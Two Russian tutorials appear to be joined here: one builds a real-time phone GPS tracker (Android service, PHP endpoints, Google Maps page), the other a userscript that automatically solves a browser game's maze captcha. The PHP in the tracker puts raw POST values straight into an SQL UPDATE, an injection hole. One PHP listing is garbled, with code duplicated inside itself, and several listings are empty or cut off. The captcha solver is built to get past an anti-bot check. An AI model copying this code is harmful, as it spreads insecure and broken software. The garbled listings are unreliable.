* Редактор Visual Studio Code
* Среда разработки Android Studio
* Аккаунт Гугл для API Google Maps
* Доменное имя и хостинг с базой данных SQL
* Обычный телефон на андроиде
Для начала рассмотрим схему взаимодействия всех элементов.
После того как пользователь заходит на сайт, активируется подключенный в index.html файл myJsCode.js, в котором каждые 2 секунды идет обращение в google maps. В google maps передаются координаты текущего местоположения, которые хранятся в базе данных sql. Google maps возвращает карту с маркером, установленным в точке, соответствующей переданным координатам. Считывание новых координат из базы данных осуществляется в myJsCode.js через coordinatesToBrowser.php также каждые 2 секунды. Запись координат в базу данных осуществляет Android приложение через coordinatesFromAndroid.php каждые 2 секунды при условии движения андроид устройства. Пользователь приложения может включать и выключать определение координат. Далее соберем эту схему.
**1.** Для инициализации google maps потребуются API ключ. Для его получения переходим на <https://cloud.google.com/maps-platform>
Нажимаем Get started.
Создаем новый проект.
В созданном проекте выбираем Maps JavaScript API.
Нажимаем Enable.
Жмем на гамбургер -> APIs & Services -> Credentials.
Нажимаем на +Create Credentials
И мы получили Api key
**2.** Создаем файл index.html и style.css и myJsCode.js. Писать код будем в редакторе Visual Studio Code, скачиваем его по ссылке [https://code.visualstudio.com/](https://www.youtube.com/redirect?event=video_description&redir_token=QUFFLUhqa3EzV0U3OGFhOGltWjJXOXI2UldmVWN2VEVXZ3xBQ3Jtc0trMWdzM056MXQ3TG1LdzVWTW5JRkhlT05sSW9fMnNTeWJMTUYyVHdUNTFibWp0VDdqZEtJOU5ub2poVDlxYUM2ZWZvWnBzUlpmellMT1hncDl1OE41UFhXaHhfN0pGdGRIM3VqTjIzMTEycTRQNF9Ebw&q=https%3A%2F%2Fcode.visualstudio.com%2F)
**index.html** В 71 строчке меняете API key на свой. В 69 строчке подключается файл myJsCode.js, который мы напишем ниже. В 53 строчке в блоке div будет располагаться карта с маркером.
```
Название сайта
[](index.html)
Заголовок 1
===========
[](tel: 811111111)
**[8-111-11-11](tel: 811111111)** **Ваше имя**
Описание вашей деятельности
Заголовок 2:
------------
Описание
* Пункт1
* Пункт2
* Пункт3
* Пункт4
### Заголовок 3:
Описание
---
Контакты: г. Ваш город
Email: [yourMail@yandex.ru](mailto:yourMail@yandex.ru)
телефон: [8-111-11-11-11](tel: 8111111111)
```
Далее пишем **style.css** В этом файле оставляем все как есть. Здесь уже предусмотрена адаптация под мобильные устройства с помощью media запросов.
```
*
{
margin: 0;
padding: 0;
}
.box{
max-width:1560px;
margin: 0px auto;
padding: 0px 0px;
}
header{
position: fixed;
background-color: white;
padding-top: 10px;
height:60px;
width: 100%;
box-shadow: 7px 7px 5px rgba(63, 62, 62, 0.6); /* Тень */
}
.content{
padding-top: 100px;
}
.logo{
float:left;
margin-left: 10px;
}
.logoTitle{
float:left;
margin-top: 10px;
margin-left: 10px;
text-decoration: none;
font-family: sans-serif;
font-size: 20px;
color: #000;
}
.phoneAndName{
text-align: center;
color: #000;
margin-bottom: 15px;
}
.imgphone{
text-decoration: none;
}
.telephone{
text-decoration: none;
font-family: sans-serif;
font-size: 30px;
color: #000;
}
.yourName{
color: #030c01;
font-size: 30px;
}
.descriptionYourBuisless{
text-align: center;
font-size: 20px;
color: #000;
margin-bottom: 20px;
padding: 0px 10px;
}
.descriptionHeader2{
justify-content: center;
display:flex;
}
.Header2{
color: #000;
font-size: 20px;
padding-right: 10px;
padding-left: 40px;
}
.Header2Text{
padding-right: 20px;
color: #000;
font-size: 20px;
margin-bottom: 20px;
}
.photoCargo{
margin: auto;
width:55%;
height:100%;
color: #000;
}
.row1{
padding-left: 20px;
padding-right: 20px;
padding-bottom: 20px;
margin-right: 20px;
}
.row2{
padding-left: 20px;
padding-right: 20px;
padding-bottom: 20px;
}
li{
font-size: 20px;
color: #000;
}
#map-canvas{
height:600px;
width: 100%;
margin-top: 20px;
}
.descriptionHeader3{
margin-top: 20px;
justify-content: center;
display:flex;
}
.Header3{
color: #000;
font-size: 20px;
padding-right: 10px;
padding-left: 40px;
}
.Header3Text{
padding-right: 20px;
color: #000;
font-size: 20px;
margin-bottom: 20px;
}
footer{
text-align: center;
font-size: 14px;
color: #000;
margin-top: 20px;
margin-bottom: 20px;
padding-left: 5px;
padding-right: 5px;
}
@media(min-width: 1560px){
.adPointers{
justify-content: center;
display:flex;
}
}
@media(max-width: 1560px){
.adPointers{
justify-content: center;
display:flex;
}
.box{
max-width:1460px;
}
}
@media(max-width: 1400px){
.box{
max-width:1360px;
}
.photoCargo{
width:60%;
}
}
@media(max-width: 1200px){
.box{
max-width:970px;
}
.photoCargo{
width:65%;
}
}
@media(max-width: 992px){
.box{
max-width:850px;
}
.photoCargo{
width:80%;
}
}
@media(max-width: 767px){
.box{
max-width:none;
}
.photoCargo{
width:90%;
}
}
@media(max-width: 695px){
.photoCargo{
width:95%;
}
}
@media(max-width: 450px){
.adPointers{
flex-direction: column;
margin-left: 100px;
}
}
```
**myJsCode.js** В 1 и 2 строчке задаются координаты по умолчанию. В 6 строчке функция инициализации google maps. Внутри функции setTimeout каждые 2 секунды идет считывание координат из coordinatesToBrowser.php и передача новых координат в google maps. Файл coordinatesToBrowser.php напишем ниже.
```
window.lat = 37.7850;
window.lng = -122.4383;
var map;
var mark;
var initialize = function () {
map = new google.maps.Map(document.getElementById('map-canvas'), { center: { lat: lat, lng: lng }, zoom: 12 });
mark = new google.maps.Marker({ position: { lat: lat, lng: lng }, map: map });
};
var compare=0;
let timerId = setTimeout(function tick() {
var xhr = new XMLHttpRequest();
xhr.open('GET', 'coordinatesToBrowser.php', true);
xhr.onreadystatechange = function() {
if (xhr.readyState == 4 && xhr.status == 200) {
var jsonObj=JSON.parse(xhr.responseText);
const arr = Object.keys(jsonObj).map((key) => [key, jsonObj[key]]);
lat= parseFloat(arr[0][1]);
lng= parseFloat(arr[1][1]);
if(compare!=lat){
map.setCenter({ lat: lat, lng: lng, alt: 0 });
mark.setPosition({ lat: lat, lng: lng, alt: 0 });
}
compare=lat;
}
}
xhr.send(null);
timerId = setTimeout(tick, 2000);
}, 2000);
```
**3.** Все файлы заливаете на свой хост. Далее переходим в php MyAdmin. Создаете базу данных или используете уже созданную автоматически. В ней создаете таблицу под названием coordinates. В этой таблице создаете 3 столбца: **id**, **latitude** и **longitude** как на изображении.
**4.** Далее в папку сайта на хостинг помещаете два php файла, которые будут взаимодействовать с базой данных, а именно таблицей coordinates. Файл coordinatesToBrowser.php будет считывать координаты из базы, а coordinatesFromAndroid.php будет записывать переданные android устройством координаты в базу данных.
**coordinatesToBrowser.php** В 15 строчке происходит выборка из созданной нами таблицы coordinates, а именно из столбцов latitude и longitude. Подключение к самой базе данных прокомментировано в коде.
```
php
$host = 'localhost'; // Хост, у нас все локально
$user = 'u1111111111'; // Имя созданного вами пользователя
$pass = '22222222'; // Установленный вами пароль пользователю
$db_name = 'u11111111111'; // Имя базы данных
$link = mysqli_connect($host, $user, $pass, $db_name); // Соединяемся с базой
// Ругаемся, если соединение установить не удалось
if (!$link) {
// echo 'Не могу соединиться с БД. Код ошибки: ' . mysqli_connect_errno() . ', ошибка: ' . mysqli_connect_error();
exit;
}
else{}
$sql = mysqli_query($link, "SELECT * FROM coordinates");
if ($sql) {
$row = $sql-fetch_assoc();
$lat=$row['latitude'];
$lon=$row['php
$host = 'localhost'; // Хост, у нас все локально
$user = 'u1111111111'; // Имя созданного вами пользователя
$pass = '22222222'; // Установленный вами пароль пользователю
$db_name = 'u11111111111'; // Имя базы данных
$link = mysqli_connect($host, $user, $pass, $db_name); // Соединяемся с базой
// Ругаемся, если соединение установить не удалось
if (!$link) {
// echo 'Не могу соединиться с БД. Код ошибки: ' . mysqli_connect_errno() . ', ошибка: ' . mysqli_connect_error();
exit;
}
else{}
$sql = mysqli_query($link, "SELECT * FROM coordinates");
if ($sql) {
$row = $sql-fetch_assoc();
$lat=$row['latitude'];
$lon=$row['longitude'];
$cart = array(
"latitude" => $lat,
"longitude" => $lon,
);
echo json_encode( $cart );
} else {
// echo 'Произошла ошибка: ' . mysqli\_error($link) . '
';
}
?>];
$cart = array(
"latitude" => $lat,
"longitude" => $lon,
);
echo json_encode( $cart );
} else {
// echo 'Произошла ошибка: ' . mysqli\_error($link) . '
';
}
?>
```
**coordinatesFromAndroid.php**. В 22 строчке идет перезапись столбцов новыми значениями.
```
php
$Latitude=37.7850;
$Longitude=-122.4383;
$host = 'localhost'; // Хост, у нас все локально
$user = 'u1111111'; // Имя созданного вами пользователя
$pass = 'f2222222'; // Установленный вами пароль пользователю
$db_name = 'u1111111'; // Имя базы данных
$link = mysqli_connect($host, $user, $pass, $db_name); // Соединяемся с базой
// Ругаемся, если соединение установить не удалось
if (!$link) {
// echo 'Не могу соединиться с БД. Код ошибки: ' . mysqli_connect_errno() . ', ошибка: ' . mysqli_connect_error();
exit;
}
else{
if (!empty($_POST["Latitude"]&&!empty($_POST["Longitude"]))){
$Latitude=$_POST["Latitude"];
$Longitude=$_POST["Longitude"];
}
$sql = mysqli_query($link, "UPDATE coordinates SET latitude='$Latitude', longitude='$Longitude' WHERE id='1'");
if ($sql) {
// echo '<pДанные успешно добавлены в таблицу.';
} else {
// echo 'Произошла ошибка: ' . mysqli\_error($link) . '
';
}
}
?>
```
**5.** Заключительным этапом мы создадим андроид приложение, которое будет передавать координаты каждые 2 секунды во время движения. Приложение запускает сервис, который запрашивает текущие координаты у встроенного gps приемника. Для работы в фоновом режиме необходимо стороннее приложение, например такси или карты, при работе которых в верхней панели отображается 'самолетик' (геолокация). Несмотря на то, что сервис очень живучий в приложении предусмотрен менеджер, перезапускающий сервис каждые 30 секунд на случай, если андроид очистит от него память.
Итак скачиваем и устанавливаем среду разработки приложений Android Studio.
Создаете новый проект, выбрав empty Activity
Называете приложение и выбираете язык Java
В баре слева выбираете App -> res -> layout открываете файл activity\_main.xml и меняете его содержимое на:
**activity\_main.xml** Файл представляет собой внешний вид страницы приложения. На нем расположены кнопки Получить координаты и Сбросить координаты, а также текстовые поля для отображения координат и региона.
```
```
Далее App ->manifest открываете файл AndroidManifest.xml и меняете его содержимое на:
**AndroidManifest.xml** Файл несет в себе информацию о приложении для операционной системы. В него включены данные об активити, сервисах, разрешениях и другом. Оставляете свой package="yourpackage" строчка 3.
```
xml version="1.0" encoding="utf-8"?
```
Далее снова App -> res -> values открываете файл colors.xml и меняете его содержимое на:
**colors.xml** В файле задаются цвета элементов.
```
xml version="1.0" encoding="utf-8"?
#6200EE
#3700B3
#03DAC5
#808040
#868602
```
Далее Gradle Scripts открываете файл build.grande(Module app) и меняете его содержимое на:
**build.grande(Module app)** В файле информация о сборке проекта и его зависимостях. В строчке 5 оставляете свой applicationId.
```
apply plugin: 'com.android.application'
android { compileSdkVersion 30 buildToolsVersion "30.0.2"
defaultConfig {
applicationId "yourPackage"
minSdkVersion 16
targetSdkVersion 30
versionCode 1
versionName "1.0"
multiDexEnabled true
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
useLibrary 'org.apache.http.legacy' // Библиотека для HTTP Client
}
buildTypes {
release {
minifyEnabled false
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
}
}
```
Далее снова App -> Java -> YourPackage открываете файл MainActivity.java и меняете его содержимое на:
**MainActivity.java** В этом файле код основного активити. Строку 1 оставляете свою. В файле проходит инициализация кнопок, текстовых полей. Инициализация AlarmManager, который 'пробуждает' основной сервис. Обработка нажатия кнопок. Обработка разрешений от пользователя. Прием и отображение координат и региона. Запуск сервиса GoogleService , который запрашивает gps координаты осуществляется в обработчике нажатия кнопки btn\_start. Сброс координат в значение по умолчанию осуществляется в обработчике кнопки btn\_finish. Сам GoogleService и AlarmManager опишем ниже.
```
package yourpackage;
import android.Manifest;
import android.app.Activity;
import android.app.AlarmManager;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.SharedPreferences;
import android.content.pm.PackageManager;
import android.location.Address;
import android.location.Geocoder;
import android.os.Bundle;
import android.preference.PreferenceManager;
import android.view.View;
import android.widget.Button;
import android.widget.TextView;
import android.widget.Toast;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;
import java.io.IOException;
import java.util.Calendar;
import java.util.List;
import java.util.Locale;
public class MainActivity extends Activity {
public static boolean stsrtFinish = true;
Button btn_start;
Button btn_finish;
private static final int REQUEST_PERMISSIONS = 100;
boolean boolean_permission;
TextView tv_latitude, tv_longitude, tv_address, tv_area, tv_locality;
SharedPreferences mPref;
SharedPreferences.Editor medit;
Double latitude, longitude;
Geocoder geocoder;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
final AlarmManager alarmMgr = (AlarmManager)getSystemService(Context.ALARM_SERVICE);
final Intent intent = new Intent(this, MyAlarmReceiver.class);
final PendingIntent pendingIntent = PendingIntent.getBroadcast(this, 0, intent, 0);
Calendar time = Calendar.getInstance();
time.setTimeInMillis(System.currentTimeMillis());
time.add(Calendar.SECOND, 5);
alarmMgr.setRepeating(AlarmManager.RTC_WAKEUP, time.getTimeInMillis(),3000, pendingIntent);
btn_start = (Button) findViewById(R.id.btn_start);
btn_finish = (Button) findViewById(R.id.btn_finish);
tv_address = (TextView) findViewById(R.id.tv_address);
tv_latitude = (TextView) findViewById(R.id.tv_latitude);
tv_longitude = (TextView) findViewById(R.id.tv_longitude);
tv_area = (TextView) findViewById(R.id.tv_area);
tv_locality = (TextView) findViewById(R.id.tv_locality);
geocoder = new Geocoder(this, Locale.getDefault());
mPref = PreferenceManager.getDefaultSharedPreferences(getApplicationContext());
medit = mPref.edit();
btn_finish.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
stsrtFinish = false;
alarmMgr.cancel(pendingIntent);
}
});
btn_start.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
if (boolean_permission) {
medit.putString("service", "service").commit();
Intent intent = new Intent(getApplicationContext(), GoogleService.class);
startService(intent);
} else {
Toast.makeText(getApplicationContext(), "Please enable the gps", Toast.LENGTH_SHORT).show();
}
}
});
fn_permission();
}
private void fn_permission() {
if ((ContextCompat.checkSelfPermission(getApplicationContext(), android.Manifest.permission.ACCESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED)) {
if ((ActivityCompat.shouldShowRequestPermissionRationale(MainActivity.this, android.Manifest.permission.ACCESS_FINE_LOCATION))) {
} else {
ActivityCompat.requestPermissions(MainActivity.this, new String[]{android.Manifest.permission.ACCESS_FINE_LOCATION
},
REQUEST_PERMISSIONS);
}
} else {
boolean_permission = true;
}
}
@Override
public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults);
switch (requestCode) {
case REQUEST_PERMISSIONS: {
if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
boolean_permission = true;
} else {
Toast.makeText(getApplicationContext(), "Please allow the permission", Toast.LENGTH_LONG).show();
}
}
}
}
private BroadcastReceiver broadcastReceiver = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
latitude = Double.valueOf(intent.getStringExtra("latutide"));
longitude = Double.valueOf(intent.getStringExtra("longitude"));
List addresses = null;
try {
addresses = geocoder.getFromLocation(latitude, longitude, 1);
String cityName = addresses.get(0).getAddressLine(0);
String stateName = addresses.get(0).getAddressLine(1);
String countryName = addresses.get(0).getAddressLine(2);
tv_area.setText(addresses.get(0).getAdminArea());
tv_locality.setText(stateName);
tv_address.setText(countryName);
} catch (IOException e1) {
e1.printStackTrace();
}
tv_latitude.setText(latitude + "");
tv_longitude.setText(longitude + "");
tv_address.getText();
}
};
@Override
protected void onResume() {
super.onResume();
registerReceiver(broadcastReceiver, new IntentFilter(GoogleService.str_receiver));
if (ActivityCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED && ActivityCompat.checkSelfPermission(this, Manifest.permission.ACCESS_COARSE_LOCATION) != PackageManager.PERMISSION_GRANTED) {
return;
}
}
@Override
protected void onStart() {
super.onStart();
}
@Override
protected void onPause() {
super.onPause();
}
@Override
protected void onStop() {
super.onStop();
}
@Override
protected void onDestroy() {
super.onDestroy();
unregisterReceiver(broadcastReceiver);
}
}
```
Далее Далее снова App -> Java -> YourPackage нажимаете правую кнопку мыши, во всплывающем меню создаете новый Java class и называете его GoogleService.java.
**GoogleService.java** Строку 1 оставляете свою. Файл представляет собой сервис, работающий в фоновом режиме, который принимает gps координаты с помощью LocationManager. В методе onLocationChanged идет передача координат на ваш сервер HttpPost post = new HttpPost("https://yourSite.ru/coordinatesFromAndroid.php") Адрес сайта поменяйте на свой строка 90.
```
package yourpackage;
import android.Manifest;
import android.app.Service;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
import android.os.Bundle;
import android.os.IBinder;
import android.util.Log;
import androidx.annotation.Nullable;
import androidx.core.app.ActivityCompat;
import org.apache.http.util.EntityUtils;
import com.google.gson.JsonObject;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.NameValuePair;
import org.apache.http.client.HttpClient;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.message.BasicNameValuePair;
import org.apache.http.params.BasicHttpParams;
import org.apache.http.params.HttpConnectionParams;
import org.apache.http.params.HttpParams;
import org.apache.http.protocol.HTTP;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
public class GoogleService extends Service implements LocationListener {
private JsonObject message;
boolean isGPSEnable = false;
double latitude, longitude;
LocationManager locationManager;
public static String str_receiver = "servicetutorial.service.receiver";
Intent intent;
List params;
public GoogleService() {
}
@Nullable
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public void onCreate() {
super.onCreate();
intent = new Intent(str_receiver);
message = new JsonObject();
params = new ArrayList();
locationManager = (LocationManager) getApplicationContext().getSystemService(LOCATION_SERVICE);
isGPSEnable = locationManager.isProviderEnabled(LocationManager.GPS_PROVIDER);
if (ActivityCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED && ActivityCompat.checkSelfPermission(this, Manifest.permission.ACCESS_COARSE_LOCATION) != PackageManager.PERMISSION_GRANTED) {
return;
}
locationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 2000, 10, this);
}
@Override
public void onLocationChanged(Location location) {
params = new ArrayList();
if (isGPSEnable) {
if (ActivityCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED && ActivityCompat.checkSelfPermission(this, Manifest.permission.ACCESS_COARSE_LOCATION) != PackageManager.PERMISSION_GRANTED) {
return;
}
location = locationManager.getLastKnownLocation(LocationManager.GPS_PROVIDER);
if (location!=null) {
Log.e("location!=null", "location!=null");
message.addProperty("lat", location.getLatitude());
message.addProperty("lng", location.getLongitude());
if(MainActivity.stsrtFinish) {
params.add(new BasicNameValuePair("Latitude", String.valueOf(location.getLatitude())));
params.add(new BasicNameValuePair("Longitude", String.valueOf(location.getLongitude())));
}
else{
params.add(new BasicNameValuePair("Latitude", "37.7850"));
params.add(new BasicNameValuePair("Longitude", "-122.4383"));
}
new Thread(new Runnable() {
public void run() {
try {
HttpParams httpParameters = new BasicHttpParams();
HttpConnectionParams.setConnectionTimeout(httpParameters, 10000);
HttpConnectionParams.setSoTimeout(httpParameters, 10000);
HttpClient httpClientpost = new DefaultHttpClient(httpParameters);
HttpPost post = new HttpPost("https://yourSite.ru/coordinatesFromAndroid.php");
UrlEncodedFormEntity ent = new UrlEncodedFormEntity(params, HTTP.UTF_8);
post.setEntity(ent);
HttpResponse responsePOST = httpClientpost.execute(post);
HttpEntity resEntity = responsePOST.getEntity();
String getresponse = EntityUtils.toString(resEntity);
//Response from the server
Log.e("response",getresponse);
}
catch (IOException e) {
e.printStackTrace();
Log.e("catch","catch");
}
}
}).start();
latitude = location.getLatitude();
longitude = location.getLongitude();
fn_update(location);
}
}
}
@Override
public void onStatusChanged(String provider, int status, Bundle extras) {}
@Override
public void onProviderEnabled(String provider) { }
@Override
public void onProviderDisabled(String provider) { }
private void fn_update(Location location){
intent.putExtra("latutide",location.getLatitude()+"");
intent.putExtra("longitude",location.getLongitude()+"");
sendBroadcast(intent);
}
}
```
Далее Далее снова App -> Java -> YourPackage нажимаете правую кнопку мыши, во всплывающем меню создаете новый Java class и называете его MyAlarmReceiver.java.
**MyAlarmReceiver.java** Строку 1 оставляете свою. Код в этом файле запускается каждые 30 секунд. Таким образом происходит перезапуск GoogleService, в случае если сервис перестал работать.
```
package yourpackage;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
public class MyAlarmReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent){
context.startService(new Intent(context, GoogleService.class));
}
}
```
Далее включаете на своем андроид телефоне режим разработчика, подключаетесь через usb к компьютеру, в окошке Devices отобразится название вашего телефона. Нажимаете кнопку пуск. Начнется сборка и установка приложения на телефон. Если все прошло без ошибок, значит ваш сервис работает так же как и мой. Работу сервиса можете увидеть на сайте <https://gaselka71.ru>
Для тех, кому нравится видеоформат можете посмотреть плейлист по этой теме на моем канале:
Всем спасибо за внимание. Желаю удачи! | https://habr.com/ru/post/546286/ | null | ru | null |
# Прохождение капчи «Лабиринт» на Javascript
Существует не слишком широко известная браузерная игра. Игровой процесс в ней очень простой и монотонный, что способствует появлению ботов. Для борьбы с ними в игру введена капча, время от времени вылезающая во время боя. На угадывание даётся 50 секунд, если угадать за 20, то дадут дополнительный бонус. Капч два вида: «Угадай пони» и «Пройди лабиринтик». С угадыванием пони проблем у меня обычно не возникало, а вот пройти лабиринт за 20 секунд — задача не всегда тривиальная. И я задумался, а нельзя ли написать Userscript, который бы самостоятельно проходил лабиринт и сообщал мне правильный ответ…
Первое, с чего следует начать — сбор информации. Вызываем появление лабиринта, лезем в исходный код, и смотрим, что там и как. Там мы находим вставленное изображение, и узнаём два момента: во-первых, изображение находится на том же домене, что и сама игрушка. Это упрощает работу с canvas. Во-вторых, оно находится в форме с id=«riddleform», в которой является первым изображением. В той же форме находится другое изображение.
Оговорка: в скрипте используется jQuery. Кидаться сапогами необязательно; я знаю, что подключать jQuery для того, чтобы вытащить одно изображение — не самое хорошее его применение. Дело в том, что этот скрипт планировался как часть другого, в котором jQuery уже использовалась.
Начинаем писать код
```
$('#riddleform img').load(function(){//пытаться что-то сделать до загрузки изображения нежелательно
if (this.src == "http://ehgt.org/v/battle/answer.png") return;//Здесь мы останавливаемся, если наткнулись не на то изображение
var rmimg = $('#riddleform img')[0];
var canvas = document.createElement("canvas");
canvas.width = rmimg.width;
canvas.height = rmimg.height;
var ctx = canvas.getContext("2d");
ctx.drawImage (rmimg, 0, 0);
var data = ctx.getImageData(0, 0, canvas.width, canvas.height);
});
```
В результате у нас получилась переменная data, в которую загружено изображение. Останавливаемся. Начинаем собирать изображения лабиринтов и сохранять их.
Все изображения имеют адрес вида «[hentaiverse.org/riddlemaster.php?uid=](http://hentaiverse.org/riddlemaster.php?uid=)[тут айдишник пользователя, одинаковый для всех изображений]&v=[тут, судя по всему, md5 хеш]». Например, «[hentaiverse.org/riddlemaster.php?uid=123456&v=834a6b57de2d4e6d777478d7c2803d664293e7ec](http://hentaiverse.org/riddlemaster.php?uid=123456&v=834a6b57de2d4e6d777478d7c2803d664293e7ec)».
Собрав около десяти картинок, открываем их и начинаем их рассматривать.
(Изображения уменьшены)
Итак, изображение зашумлено, на нём могут проходить или не проходить светлый треугольник, который занимает левый нижний угол, и тёмный треугольник, который занимает левый верхний угол. Могут присутствовать оба. Может не быть ни одного. Вход и выходы всегда в одном и том же месте. Все изображения имеют одинаковый размер (615x615), и все они в формате jpg.
Куча больших изображений статью не украсит, поэтому я просто поставлю ссылки.
[habrastorage.org/storage2/bfe/dcc/6a0/bfedcc6a0dc3b80e44d372a4b6660411.jpg](http://habrastorage.org/storage2/bfe/dcc/6a0/bfedcc6a0dc3b80e44d372a4b6660411.jpg)
[habrastorage.org/storage2/5c1/b6e/7c3/5c1b6e7c3fb4db6e547b95ecf0d5d81c.jpg](http://habrastorage.org/storage2/5c1/b6e/7c3/5c1b6e7c3fb4db6e547b95ecf0d5d81c.jpg)
[habrastorage.org/storage2/e85/6bc/c1e/e856bcc1ee6542acc66ab03601901eff.jpg](http://habrastorage.org/storage2/e85/6bc/c1e/e856bcc1ee6542acc66ab03601901eff.jpg)
[habrastorage.org/storage2/48d/535/62e/48d53562e8edb7d787419a726a5fea77.jpg](http://habrastorage.org/storage2/48d/535/62e/48d53562e8edb7d787419a726a5fea77.jpg)
[habrastorage.org/storage2/001/c2e/d34/001c2ed34a22d82fd467c3fcd36993e7.jpg](http://habrastorage.org/storage2/001/c2e/d34/001c2ed34a22d82fd467c3fcd36993e7.jpg)
[habrastorage.org/storage2/eca/80a/75a/eca80a75a60b41498f3d847afc207e71.jpg](http://habrastorage.org/storage2/eca/80a/75a/eca80a75a60b41498f3d847afc207e71.jpg)
Дальше — интереснее. Легко заметить, что шум на всех изображениях одинаковый. Далее, хотя цвета «стен» и отличаются от изображения к изображению, цвет «дорожек» всегда одинаковый. Если же приглядется внимательнее, то станет ясно, что большая часть клеток одинаковы на всех лабиринтах.
Чёрными квадратами обозначены клетки, которые *всегда проходимы*. Красной точкой обозначена центральная клетка. Клетки, находящиеся между чёрными точками по диагонали, всегда заняты. Они для нас неинтересны. Нам нужно выяснить, свободны или заняты клетки, находящиеся на тех же горизонталях и вертикалях, что и чёрные точки.
Первая мысль, которая приходит в голову — «Шум одинаковый, цвет клетки тоже. Мы можем просто взять любой пиксель в клетке и посмотреть на его цвет». Однако, это не работает. Более детальное изучение показывает, что шум не совсем одинаковый. Кроме того, для каждой клетки пришлось бы выбрать пиксель, выяснить, каких он может быть цветов, учесть треугольники; короче: возни много.
Всего в лабиринте клеток 37x37. Создадим массив, в который мы этот лабиринт загрузим.
```
var clear = [];
for (var tmp=0; tmp<38; ++tmp)
clear[tmp] = [];
for (var r=1; r<38;++r){
for (var t=1; t<38; ++t){
if ((r%2 == 1) && (t%2 == 1)){clear[r][t] = true;continue;}
if ((r%2 == 0) && (t%2 == 0)){clear[r][t] = false;continue;}
}
}
```
Осталось придумать, как отличить пустые клетки от занятых. Если мы не можем выбирать по одному пикселю, то выберем по всем: сложим и поделим. Размажем клетки, проще говоря. Снова приглядимся повнимательнее. Клетки имеют размер 15x15 пикселей.
```
var sum = [0,0,0]; var amount = 0;//сумма цветов и количество просмотренных пикселей
for (var j=t*15; j
```
Осталось выяснить, какие цвета соответствуют пустым клеткам. Их четыре вида: чистые, светлые, тёмные, и «светло-тёмные», в зависимости от того, появились ли треугольники, о которых я говорил в начале. К счастью, нет клеток, которые находилились бы *на границе* этих треугольников. Коротко: цвета были получены при помощи создания дива, в который скидывались все цвета клеток. Потом оттуда были выбраны необходимые. Какое-то время скрипт подгонялся, когда он натыкался на непроходимый лабиринт.
```
if ( (sum[0]>190)&&(sum[0]<202) && (sum[1]>170)&&(sum[1]<183) && (sum[2]>130)&&(sum[2]<145) ){//normal
clear[r][t] = true;
}else if ( (sum[0]>148)&&(sum[0]<160) && (sum[1]>135)&&(sum[1]<143) && (sum[2]>103)&&(sum[2]<114) ){//dark
clear[r][t] = true;
}else if ( (sum[0]>203)&&(sum[0]<213) && (sum[1]>190)&&(sum[1]<197) && (sum[2]>157)&&(sum[2]<169) ){//light
clear[r][t] = true;
}else if ( (sum[0]>171)&&(sum[0]<180) && (sum[1]>158)&&(sum[1]<167) && (sum[2]>133)&&(sum[2]<143) ){//grey
clear[r][t] = true;
}else{
clear[r][t] = false;
}
```
Осталась мелочь: пройти полученный лабиринт. Это сделает рекурсивный алгоритм.
```
function makeway(x,y,data){
if ((y == 11)&&(x == 37)) return 'A';//это клетка напротив выхода A
if ((y == 27)&&(x == 37)) return 'B';//и так далее
if ((y == 37)&&(x == 11)) return 'D';
if ((y == 37)&&(x == 27)) return 'C';
var t = '';
if (x<37 && data [x+1][y]) {data [x+1][y] = false; t = makeway (x+2, y, data);}//тыкаемся в одну сторону...
if (t != '') return t;
if (x>1 && data [x-1][y]) {data [x-1][y] = false; t = makeway (x-2, y, data);}//в другую...
if (t != '') return t;
if (y<37 && data [x][y+1]) {data [x][y+1] = false; t = makeway (x, y+2, data);}
if (t != '') return t;
if (y>1 && data [x][y-1]) {data [x][y-1] = false; t = makeway (x, y-2, data);}
if (t != '') return t;
return '';//дотыкались до тупика
}
```
После чего остаётся лишь создать в документе div и вызвать
```
answerdiv.innerHTML = makeway (1, 1, clear);
```
Обратите внимание на то, что мы «прыгаем через клетку». Если свободна *соседняя* клетка, то мы прыгаем *через* неё, потому что точно знаем, что та клетка свободна: это одна из клеток с чёрными точками.
Всё это замечательно, но такой код не слишком удобно дебажить. Вот он сломался, не нашёл прохода, потому что не распознал клетку, как свободную. Вопрос: где же он сломался? Расширим скрипт. Добавим в аргументы функции makeway переменную ctx, а в начало…
```
ctx.fillStyle = "rgb(0,0,0)";
ctx.fillRect (y*15,x*15,15,15);
```
… И закрасим пройдённую клетку чёрным. В код скрипта добавим…
```
$('body')[0].appendChild(canvas);
```
… А в цикл, сразу после проверки на свободность клетки…
```
ctx.fillStyle = "rgb(" + sum[0] + ',' + sum[1] + ',' + sum[2] + ")";
ctx.fillRect (t*15,r*15,15,15);
```
Теперь в документе появится этот самый canvas, который может выглядеть, например, так:
Остаётся лишь открыть изображение в пейнте, ткнуть пипеткой в непроходимую клетку, и посмотреть её цвет.
